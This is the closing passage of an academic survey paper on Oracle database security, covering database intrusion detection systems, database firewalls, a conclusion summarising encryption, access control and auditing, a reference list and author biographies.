A database intrusion detection system (Database IDS or DIDS) filters all the incoming database access requests from users. If the incoming database requests are safe, then they are allowed to be sent to the database, else the malicious request is detected, an alarm is raised and the database admin is notified [40][41]. Extending DIDS to be smart enough to take necessary action on its own introduces Database Intrusion Prevention System (DIPS). Oracle employs intrusion-detection systems to provide continuous surveillance for intercepting and responding to security events as they are identified. Oracle utilizes a network-based monitoring approach to detect attacks on open firewall ports within Oracle's intranet [35][55].

8. DATABASE FIREWALL

A database firewall checks every incoming database request to check if it is clean from web application attacks like SQL injections, Buffer Overflow (BOF), Cross Site Scripting (XSS). Only then it forwards the requests to the database for further security verifications like authentication, authorization, etc. It may happen that during authentication itself the malicious user has injected SQL statements to hack the database. Popular examples of database firewall include Oracle Database Firewall [19][20] and GreenSQL database firewall [21][22]. Oracle Database Firewall

monitors data access, enforces access policies, highlights anomalies and helps protect against network based attacks originating from outside or inside the organization. Oracle audit Vault and database firewall (AVDF) 20 supports both cloud and on-premise databases. The combination of Oracle Database Firewall and F5 BIG-IP Application Security Manager enables security and monitoring for both applications and databases within an enterprise [31][35][37][39][43].

9. CONCLUSION

This new paper describes the vulnerabilities and risks of various database attacks and defense mechanism in Oracle database. As per our long-standing experience of identifying software vulnerabilities, we discussed the practical look to secure oracle data base configurations and communications against illegal access and their mitigation.

Commands can be executed via PL/SQL, Java, and default packages, and by manipulation of the server parameters using the ALTER SYSTEM command. To better illustrate the potential security, SQL commands and PL/SQL programs real-life examples are introduced.

The authors provided various details about TNS Listener, its vulnerabilities, attacks and defense mechanism. Access control mechanism and oracle commands for DAC, MAC and RBAC are illustrated with real life examples. This paper has also discussed the Encryption of Data on-the-wire as well as data on the disk using standard ORACLE SQL commands for the encryption and decryption. Oracle Advanced Security, Dynamic Data Masking or Data Redaction is the process of obfuscating or hiding sensitive data elements such as Credit Card Numbers in the SQL query results prior to display by applications.

The audit records will provide information about who performed what database operation and when it was performed by illustrating the triggers in oracle and the built in AUDIT command as provided by Oracle Fine Grained Auditing (FGA) audit actions in the database on the basis of content. The database server should be protected from database security threats by IDS and firewall, which denies access to traffic and allow traffic from specific applications or web servers that need to access the data. Oracle Corporation further establish Oracle Database 12c and 19c Release as the world's most advanced database solution in the cloud environment.

It is important to safeguard the database from inference attacks by providing Inference Control (IC) mechanisms. Oracle has no provision for Inference Control as of now. For hardening the web base applications, we have to update the deployment environment with latest systems programs like operating system and database software to protect against the most recently discovered vulnerabilities and attacks.

REFERENCES

[1] P. Ambhore, B. Meshram, V. Waghmare, "A Implementation Of Object Oriented Database Security", Fifth International Conference on Software Engineering Research, Management and Applications, IEEE DOI 10.1109/SERA.2007.120, IEEE Computer Society.

[2] Patricia Huey, Sumit Jeloka, Oracle Database Security Guide, 21c, Oracle, [20-June 2021]. [https://docs.oracle.com/en/database/oracle/oracle-database/21/dbseg/]

[3] Mel Khamlichi, Why oracle database is the best DBMS solution,[30-Jan-2018]. [https://www.osradar.com/oracle-database-best-dbms-solution/]

[4] G. Samaraweera, M. Chang , "Security and Privacy Implications on Database Systems in Big Data Era: A Survey" , IEEE Transactions on Knowledge and Data Engineering ,Volume: 33, Issue: 1, Jan. 1 2021.

[5] Mahmood Rajpoot, Qasim; Jensen, Christian D.; Krishnan, Ram, "Integrating Attributes into Role-Based Access Control". Working Conference On Data and Applications Security and Privacy (2015). Springer. Lecture Notes in Computer Science, Vol. 9149.
[6] Muhammad Umar A., Zhiguang Q., Zakaria., Safeer A., Pirah., Jalaluddin K., "The evaluation and comparative analysis of role based access control and attribute based access control model." 2018, IEEE.
[7] D. Litchfield, The Oracle Hacker's Handbook: Hacking and defending Oracle, John Wiley & Sons. ISBN: 978-0-470-13370-5 , March 2007.
[8] R. B. Natan, HOWTO Secure and Audit Oracle 10g and 11g, CRC Press, ISBN 9781420084122, March 12, 2009.
[9] Litchfield, Anley, Heasman and Grindlay, The Database Hacker's Handbook: Defending Database Servers, John Wiley & Sons. ISBN: 978-0-764-57801-4, June 2005
[10] R. B. Natan, Implementing Database Security and Auditing, Elsevier Digital Press, ISBN: 9781555583347, 18th April 2005.
[11] M. Stamp, Information Security: Principles and Practice, John Wiley & Sons, Inc. 2011
[12] Oracle Database Security Guide 11g Release 1 (11.1), Oracle, December 2012.
[13] Oracle White Paper: Encryption and Redaction in Oracle Database 12c with Oracle Advanced Security, Oracle, June 2013.
[14] Oracle White Paper: Oracle Advanced Security with Oracle Database 11g Release 2, Oracle, October 2010.
[15] S. R. Alapati, Expert Oracle Database 11g Administration, APRESS, 2009.
[16] Encryption and Redaction with Oracle Advanced Security Preventive controls to encrypt data at rest and redact sensitive information (august 29, 2019) https://www.oracle.com/in/a/tech/docs/dbsec/aso/advanced-security-wp-19c.pdf
[17] Bugra Parlayan, Oracle Data Redaction 19c Eamples, December 30, 2020, https://dbtut.com/index.php/2020/12/30/oracle-data-redaction-19c-examples/
[18] T. Su and G. Ozsoyoglu, "Controlling FD and MVD Inferences in Multilevel Relational Database Svstems," IEEE Transactions on Knowledge and Data Engineering, vol. 3, no. 4, December 1991.
[19] Oracle White Paper: Oracle Database Firewall, Oracle, January 2012.
[20] Oracle Database Firewall Security Management Guide, Oracle, September 2011.
[21] "GreenSQL," [Online]. Available: http://www.greensql.com.
[22] "LIVE WEBINAR_ Database Security Is For Everyone - How to Implement a Database Firewall in 30 minutes," [Online]. Available: http://www.youtube.com.
[23] Bertino, Samarati and Jajodia, "An Extended Authorization Model for Relational Databases," IEEE Transactions of Knowledge and Data Engineering, vol. 9, no. 1, January-February 1997.
[24] https://docs.oracle.com/cd/E24693_01/appdev.11203/e23448/d_rls.htm (Accessed on 18-Jun-2021)
[25] Ferraiolo, Sandhu, Gavrila, Kuhn and Chandramouli, "Proposed NIST Standard for Role-Based Access Control," ACM Transactions on Information and System Security, vol. 4, no. 3, August 2001.
[26] Franqueira and Wieringa, "Role-Based Access Control in Retrospect," vol. 45, no. 6, June 2012.
[27] Ji-Won-Byun and Bertino, "A Critique of the ANSI Standard on Role-Based Access Control," IEEE Security and Privacy, vol. 5, no. 6, 2007.
[28] https://docs.oracle.com/cd/E11882_01/network.112/e40393/redaction.htm#ASOAG596 (Accessed on 18-Jun-2021)
[29] S. Toapant, O. Escalante, L. Mafla, R. Arellano, "Analysis for the Evaluation and Security Management of a Database in a Public Organization to Mitigate Cyber Attacks", IEEE Access,2017.
[30] Oracle White Paper: Encryption and Redaction with oracle Advanced Security, August 29, 2019
[31] M. Cassio, "Framework for Distributed Firewall Administration in a Multi-Constraint Security Policies Context", 2009.
[32] https://flylib.com/books/en/2.680.1/running_operating_system_commands.html#fastmenu_1,[19-June -2021]
[33] Malvestuto, Mezzini and Moscarini, "Auditing Sum-Queries to Make a Statistical Database Secure," ACM Transactions on Information and System Security,, vol. 9, no. 1, February 2006.
[34] Oracle Auditing Part 1 - How to Perform Standard Auditing - jSonar , https://discover.jsonar.com/oracle-auditing-part-1-standard-auditing/-(Accessed on 18-Jun-2021)
[35] Information Security -JNU, Jaipur, 2013.

[36] Attacking the TNS Listener and Dispatchers, https://flylib.com/books/en/2.680.1/attacking_the_tns_listener_and_dispatchers.html#fastmenu_1
[37] Database Security Finest Practices, https://orageek.com/oracle-security/database-security-finest-practices/ (Accessed on Friday, June 18, 2021)
[38] A. Mousa, M. Karabatak, T. Mustafa, "Database Security Threats and Challenges" , IEEE 2020.
[39] Sun, Shen and Niu, "A New Database Firewall Based on Anomaly Detection," in The 11th International Conference on Parallel and Distributed Computing, Applications and Technologies, 2010.
[40] Rathod, Chaudhari and Jethava, "Database Intrusion Detection by Transaction Signature," in International Conference on Computer Communication and Network Technologies, Coimbatore, India, July 2012.
[41] Rao and Patel, "Design and Implementation of Database Intrusion Detection System for Security in Database," International Journal of Computer Applications, vol. 35, no. 9, December 2011.
[42] Rezk, Ali and Barakat, "Database Security Protection based on a New Mechanism," International Journal of Computer Applications, vol. 49, no. 19, July 2012.
[43] Z. Trabelsi, S. Zeidan, K.Hayawi, "Denial of Firewalling Attacks (DoF): The Case Study of the Emerging BlackNurse Attack" , May 2019 IEEE .
[44] Hui Qi, Xiaoquing Di, Jinqing Li, "Formal definition and analysis of access control model based on role and attribute", Journal of Information Security and Applications 43(2018) 53-60, Elsevier.
[45] K Natarajan,V. Shaik, "Transparent Data Encryption: Comparative Analysis and Performance Evaluation of Oracle Databases" , 2020 Fifth International Conference on Research in Computational Intelligence and Communication Networks (ICRCICN), IEEE 2020.
[46] "The 15 worst data security breaches of 21st century," [Online]. Available: http://www.csoonline.com.
[47] D. Maman, "GREENSQL: Security in Knowledge," in RSA Conference, San Fransisco, 2013.
[48] Oracle Database Concepts 11g Release 2 (11.2), Oracle, July 2013.
[49] Wang Huijie, "A Security Framework for Database Auditing System", 2017 10th International Symposium on Computational Intelligence and Design, IEEE 2017.
[50] B. Bryla and K. Loney, Oracle Database 11g DBA Handbook, Mc Graw Hill Co., 2008.
[51] Oracle Administrator's Guide 11g Release 2 (11.2), Oracle, January 2014.
[52] "Oracle 10g: CVE Security Vulnerabilities," [Online]. Available: http://www.cvedetails.com/product/3671/Oracle-Oracle10g.html?vendor_id=93.
[53] "CVE: TNS Poisioning Vulnerability in Oracle," [Online]. Available: http://www.cvedetails.com/cve/CVE-2012-1675/.

[54] D. Nandasana , V. Barot, "A framework for database intrusion detection system" , 2016 International Conference on Global Trends in Signal Processing, Information Computing and Communication (ICGTSPICC), IEEE,2016.
[55] Osborn, Sandhu and Munawer, "Configuring Role-Based Access Control to Enforce Mandatory and Discretionary Access Control Policies," ACM Transactions on Information and System Security, vol. 3, no. 2, 2000.
[56] Oracle White Paper: Oracle Advanced Security with Oracle Database 11g Release 2, Oracle, October 2010.

AUTHORS

Dr. B. B. Meshram, Professor and Former Head of Department of Computer Engineering and Information Technology, Veermata Jijabai Technological Institute, Matunga Mumbai 400019, has obtained his Bachelor's degree in (Computer Engineering), M.E. (Electronics Engineering) and Ph.D. in Computer Engineering and has obtained Bachelor's degree (LLB) and LLM(Constitution Law). He is also Computer Hacking Forensic Investigator (CHFI) EC-Council USA Certified. He has graduated 10 PhD students and 7 student are in progress for the research work. He guided over 190+ M.Tech(Computer Engineering) students, authored over 400+ publications, filed 10 patents and authored 7 books and is a member of editor team for 5 journals. His research interests are Databases, Software Engineering, Cyber & Cloud Security and Digital Forensic. He is a proponent of concise scientific lawful thinking and truth communication. He believes that teaching can't be just a profession, but has to be one's 'Dhamma'.

Madhuri N. Gedam is a Research Scholar at Department of Computer Engineering and Information Technology, Veermata Jijabai Technological Institute, Matunga, Mumbai 400019, has obtained her Bachelor's degree (Computer Engineering) from Nagpur University and M.E. (Computer Engineering) from Mumbai University. She is currently working as Assistant Professor in Information Technology Deptt of SLRTCE, Mira Road, Thane. She has 12 years of teaching experience. She has authored around 30+ papers in National and International Conferences and Journals. She has received "Best Technical Paper" award in National Conference held at Nashik, India in 2018. Her area of specialization includes Software Engineering, Database Security, DevOps, Cyber Security and Big Data Analytics.